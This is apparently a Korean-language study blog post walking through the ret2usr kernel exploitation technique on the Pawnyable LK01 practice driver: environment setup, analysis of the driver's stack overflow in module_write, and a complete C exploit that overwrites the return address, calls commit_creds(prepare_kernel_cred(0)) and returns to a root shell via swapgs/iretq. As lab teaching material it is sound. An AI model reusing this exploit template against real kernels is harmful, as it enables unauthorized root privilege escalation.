Introduction

CVE를 하나 잡고 분석해보고 커널 공격기법에 대한 지식이 어느정도 필요하겠다는 생각이 들어서 대표적인 기법들부터 공부하려고 한다. 일단 시작은 가장 기초적인 기법이라 불리는 ret2usr 기법으로 정했다.

ret2usr

SMEP 보호 기법이 안 걸려 있는 경우, 커널 영역에서 유저 영역의 코드를 실행할 수 있는 취약점을 이용한 기법.

CTF나 리얼 월드나 웬만하면 SMEP는 걸려있기 때문에 이 기법을 사용할 일이 드물지만, 대부분의 커널 공격 기법의 기본인 기법이기 때문에 완벽하게 이해해서 언제든 활용할 수 있어야 한다고 한다.

바이너리 익스플로잇 공격 기법과 비교해보면 ret2usr 기법은 ReturnToShellcode 기법과 같다고 보면 된다.

Environment Setting

실습 예제는 pawnyable 사이트의 LK01 파일을 사용했다.

압축을 풀어보면 사진처럼 qemu, src 디렉토리가 나온다. 주 작업은 qemu 디렉토리에서 진행하게 된다.

qemu : 커널 실행에 필요한 파일들
src : 취약한 모듈 소스코드

run.sh

run.sh 스크립트를 보면 내용이 아래와 같은데 디버깅을 위해 -s 옵션을 추가해줘야한다.

 cat run.sh
#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs.cpio \
    -net nic,model=virtio \
    -net user
 cat run.sh
#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs.cpio \
    -net nic,model=virtio \
    -net user \
    -s

init

커널이 실행될때 가장 먼저 실행되는 파일인 init 파일은 rootfs.cpio 안에 들어있어서 cpio -idv < rootfs.cpio 명령어로 압축을 해제해야 한다.

init 파일 내용을 확인하면 아래와 같다.

 cat init
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t devtmpfs devtmpfs /dev
 
# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0</dev/console) 2>/dev/null; then
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console
fi
 
exec /sbin/init "$@"

/sbin/init 파일을 마지막 줄에서 실행하는데, 계속 호출을 따라가다 보면 최종적으로 /etc/init.d/S99pawnyable 파일이 실행된다. 해당 파일의 내용은 아래와 같다.

 cat etc/init.d/S99pawnyable
#!/bin/sh
 
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
 
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
 
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh
 
##
## Cleanup
##
umount /proc
poweroff -d 0 -f

문제 풀이를 위해 위 코드에서 변경해줘야하는 부분이 있다.

•••
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
•••
setsid cttyhack setuidgid 1337 sh
•••

•••
#echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
•••
setsid cttyhack setuidgid 0 sh
•••

이렇게 변경을 해줘야한다. kptr_restrict는 kadr 보호기법이다. 숫자마다 0(제한 없음), 1(권한 있는 유저에게만 표시), 2(모두 숨김) 이렇게 달라서 디버깅할때 편하게 하기 위해 주석 처리했다. dmesg_restrict는 Kernel 로그 출력 설정이라서 주석을 해제했다. 마지막 줄은 sh 실행 시 권한을 1337 0(root) 로 변경했다.

내용을 바꿔주고 적용을 하려면 당연히 cpio 파일로 재압축을 해줘야한다. 나는 매번 재압축 명령어를 사용하기 귀찮아서 스크립트를 짜서 진행했다. rootfs가 아닌 debugfs인 이유는 원본 cpio 파일 유지를 위해서다. run.shdebug.fs로 변경했다.

auto_cpio.sh

#!/bin/sh
 
cd unzip_fs
find . -print0 | cpio -o --null --format=newc > ../debugfs.cpio
cd ..

gdb

내가 찾은 커널 디버깅할 때 잘 작동하는 gdb는 두개 정도가 있다.

각자 취향에 맞는 디버거를 사용하면 될 것 같다.

Module Source Code Analysis

코드 오디팅 실력을 기르기 위해 소스코드는 전부 분석했다.

module_init & module_exit

module_init(module_initialize);
module_exit(module_cleanup);

커널 모듈의 시작과 종료를 담당하는 부분이다. 보편적으로 코드의 가장 아래에 있다.

모듈이 Load 되면 module_init() 함수가, Unload 되면 module_exit() 함수가 실행된다.

module_initialize( )

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };
 
static dev_t dev_id;
static struct cdev c_dev;
 
static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }
 
  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;
 
  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }
 
  return 0;
}

module_init(module_initialize) 코드에서 중요한건 괄호 안에 있는 함수이고, 코드는 위와 같다.

alloc_chrdev_region 함수는 문자 디바이스 드라이버에서 주요 작업인 디바이스 번호(dev_t)를 할당하는

가장 먼저 alloc_chrdev_region 함수로 디바이스 번호를 할당해주고, 할당에 실패하면 오류를 출력하며 종료한다.

이후 module_fops 구조체를 인자로 cdev_init 함수를 실행하는데, 해당 구조체는 모듈에 Syscall이 전달되었을 때 해당 Syscall을 처리하는 콜백 함수들을 정의한다.

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

예시로 해당 모듈에 read Syscall을 전달하면 모듈에서는 module_read라는 함수가 실행된다.

module_exit( )

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_initialize() 함수에서 cdev_add() 함수로 등록했던 문자 디바이스를 커널에서 제거해 유저 영역에서 접근할 수 없게 한다.

module_open( )

•••
#define BUFFER_SIZE 0x400
•••
char *g_buf = NULL;
•••
static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");
 
  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }
 
  return 0;
}

이 함수는 g_bufkmalloc 함수로 힙을 0x400만큼 할당하고, 할당 실패시 오류를 출력하면 종료한다.

module_read( )

#define BUFFER_SIZE 0x400
•••
static ssize_t module_read(struct file *file,
                        char __user *buf, size_t count,
                        loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };
 
  printk(KERN_INFO "module_read called\n");
 
  memcpy(kbuf, g_buf, BUFFER_SIZE);
  if (_copy_to_user(buf, kbuf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }
 
  return count;
}

module_open() 함수에서 청크를 할당 받았던 g_buf에서 kbufBUFFER_SIZE(0x400)만큼 memcpy 함수를 이용하여 복사한다.

그리고 _copy_to_user 함수를 이용해 kbuf 값을 count만큼 유저 영역의 buf에 복사한다.

커널 영역의 데이터를 유저 영역으로 복사

module_write( )

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };
 
  printk(KERN_INFO "module_write called\n");
 
  if (_copy_from_user(kbuf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }
  memcpy(g_buf, kbuf, BUFFER_SIZE);
 
  return count;
}

여기서는 _copy_from_user 함수로 buf(User space)의 데이터를 kbuf(Kernel space)count만큼 복사한다.

그리고 복사받은 데이터를 g_bufBUFFER_SIZE(0x400)만큼 복사한다.

유저 영역의 데이터를 커널 영역으로 복사

Vulnerability

취약점은 _copy_from_user 함수를 사용하는 module_write 함수에서 발생한다.

유저 영역에서 module_write 함수를 호출하면서 _copy_from_user 함수에 인자로 들어가는 buf, count 값을 사용자가 컨트롤 할 수 있기 때문에 kbuf에서 Kernel BOF가 발생한다.

Vuln trigger

먼저 취약점을 트리거 해보기 위해 아래처럼 코드를 짰다.

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
 
#define BUFFER_SIZE 0x400
 
int main() {
    int fd = open("/dev/holstein", O_RDWR);
    char buf[BUFFER_SIZE];
 
    memset(buf, 'A', 0x410);
    write(fd, buf, 0x410);
}


디버깅을 해서 kbuf > rbp offset이 0x400인걸 알아내서 0x400 + 0x10(sfp + ret) = 0x410을 입력해서 return 주소까지 Overwrite 되는 코드다.

cat /proc/kallsyms | grep module_write : modulw_write 함수 주소 출력 명령어

바이너리를 실행시켜보면 커널 패닉이 발생하면서 종료되는데, RIP 값을 확인해보면 Overwrite이 된걸 볼 수 있다.

Exploit

커널 익스플로잇을 할 때는 commit_creds(prepare_kernel_cred(0)) 함수를 실행하는 것을 목적으로 한다. ※ 추후 글 작성 예정

해당 함수들의 주소는 위에서 module_write 함수 주소를 구한 방법과 동일한 방법으로 구할 수 있다.

[ Holstein v1 (LK01) - Pawnyable ]
/ # cat /proc/kallsyms | grep commit_creds
ffffffff8106e390 T commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff8106e240 T prepare_kernel_cred

이제 해당 함수를 실행하는 코드를 작성해보면 아래와 같다.

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
 
unsigned long commit_creds = 0xffffffff8106e390;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
 
#define BUFFER_SIZE 0x400
 
void escalate_privilege() {  
	char* (*pkc)(int) = (void*)(prepare_kernel_cred);
 	void (*cc)(char*) = (void*)(commit_creds);
 	(*cc)((*pkc)(0));
}
 
int main() {
    int fd = open("/dev/holstein", O_RDWR);
    char buf[BUFFER_SIZE+0x100];
 
    memset(buf, 'A', BUFFER_SIZE);
    *(unsigned long*)&buf[BUFFER_SIZE+8] = &escalate_privilege;
    write(fd, buf, 0x500);
}

근데 위 코드를 컴파일하고 그냥 실행하면 오류가 발생한다.

왜냐하면 커널 영역에서 유저 영역으로 돌아올 때 GS 세그먼트를 전환해야 하기 때문이다. GS 세그먼트를 전환하기 위해 swapgs 함수를 사용하고 이후에 바로 iretq를 호출하면 되는데, iretq를 호출하기 전에 스택에 유저 영역의 정보를 아래 사진과 같은 순서로 쌓아둬야 한다.

RSP 주소는 어디든 상관 없고, RIP는 쉘을 실행해주는 함수로 설정하면 된다. 나머지 레지스터들은 유저 영역에서의 값을 사용하면 되기 때문에 아래처럼 유저 영역의 GS 세그먼트 값을 저장해주는 보조 함수 및 복구해주는 함수를 작성해주면 된다.

커널 익스플로잇에서 자주 사용되기 때문에 템플릿으로 만들어 두면 편하다. 그리고 main 함수 초입에 save_state 함수를 호출해주는 것도 잊지 말자.

static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}
 
static void save_state(void) {
    asm volatile(
    "movq %%cs, %0\n\t"
    "movq %%ss, %1\n\t"
    "movq %%rsp, %2\n\t"
    "pushfq\n\t"
    "popq %3\n\t"
    : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
    :
    : "memory"
    );
}
 
static void restore_state(void) {
    asm volatile(
    "swapgs\n\t"
    "movq %0, 0x20(%%rsp)\n\t"
    "movq %1, 0x18(%%rsp)\n\t"
    "movq %2, 0x10(%%rsp)\n\t"
    "movq %3, 0x08(%%rsp)\n\t"
    "movq %4, 0x00(%%rsp)\n\t"
    "iretq\n\t"
    :
    : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)
    : "memory"
    );
}
 
static void escalate_privilege() {
    char *(*pkc)(int) = (void *)(prepare_kernel_cred);
    void (*cc)(char *) = (void *)(commit_creds);
    (*cc)((*pkc)(0));
    restore_state();
}

최종 익스플로잇 코드를 작성해보면 아래와 같다.

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
 
unsigned long commit_creds = 0xffffffff8106e390;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
unsigned long user_ss, user_rsp, user_rflags, user_cs;
 
#define BUFFER_SIZE 0x400
 
static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}
 
static void save_state(void) {
    asm volatile(
    "movq %%cs, %0\n\t"
    "movq %%ss, %1\n\t"
    "movq %%rsp, %2\n\t"
    "pushfq\n\t"
    "popq %3\n\t"
    : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
    :
    : "memory"
    );
}
 
static void restore_state(void) {
    asm volatile(
    "swapgs\n\t"
    "movq %0, 0x20(%%rsp)\n\t"
    "movq %1, 0x18(%%rsp)\n\t"
    "movq %2, 0x10(%%rsp)\n\t"
    "movq %3, 0x08(%%rsp)\n\t"
    "movq %4, 0x00(%%rsp)\n\t"
    "iretq\n\t"
    :
    : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)
    : "memory"
    );
}
 
static void escalate_privilege() {
    char* (*pkc)(int) = (void*)(prepare_kernel_cred);
    void (*cc)(char*) = (void*)(commit_creds);
    (*cc)((*pkc)(0));
    restore_state();
}
 
int main() {
    save_state();
    int fd = open("/dev/holstein", O_RDWR);
    char buf[BUFFER_SIZE+0x100];
 
    memset(buf, 'A', BUFFER_SIZE);
    *(unsigned long*)&buf[BUFFER_SIZE+8] = &escalate_privilege;
    write(fd, buf, 0x410);
 
    close(fd);
}

처음에 디버깅을 위해 변경했었던 /etc/init.d/S99pawnyable 파일을 다시 복구해주고, 위 코드를 컴파일해서 커널에서 실행해주면 정상적으로 root권한을 취득할 수 있다.

•••
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
•••
setsid cttyhack setuidgid 1337 sh
•••

Conclusion

솔직히 이번에 처음 분석한 모듈은 아니고 몇번씩 커널 익스에 도전한다고 까불때마다 분석했었던 모듈이여서 생각보다 쉽게 쉽게 푼 것 같다. 생각해보니 보호기법이 하나도 안 걸려 있어서 분석부터 익스까지 막히는 부분이 없었다..

근데 예전에 처음 커널 익스 공부한다고 이 모듈을 봤을때의 그 당혹감과 도저히 이해가 안가는 난이도는 아직도 생생하다(답은 익숙해질때까지 계속 보는거인듯)… 나도 아직 갈 길이 멀지만, 커널을 처음 접해서 뭐가 뭔지 하나도 모르겠는 뉴비분들에게 해주고 싶은 말이 있다.

어렵다고 포기하지 말고 인간은 적응의 동물이니까 계속 보다보면 익숙해지니까, 매일 조금씩 공부하면 언젠가는 눈에 익는 날이 오니까 모두 짱짱해커가 되는 그 날까지 정진하자..!

Reference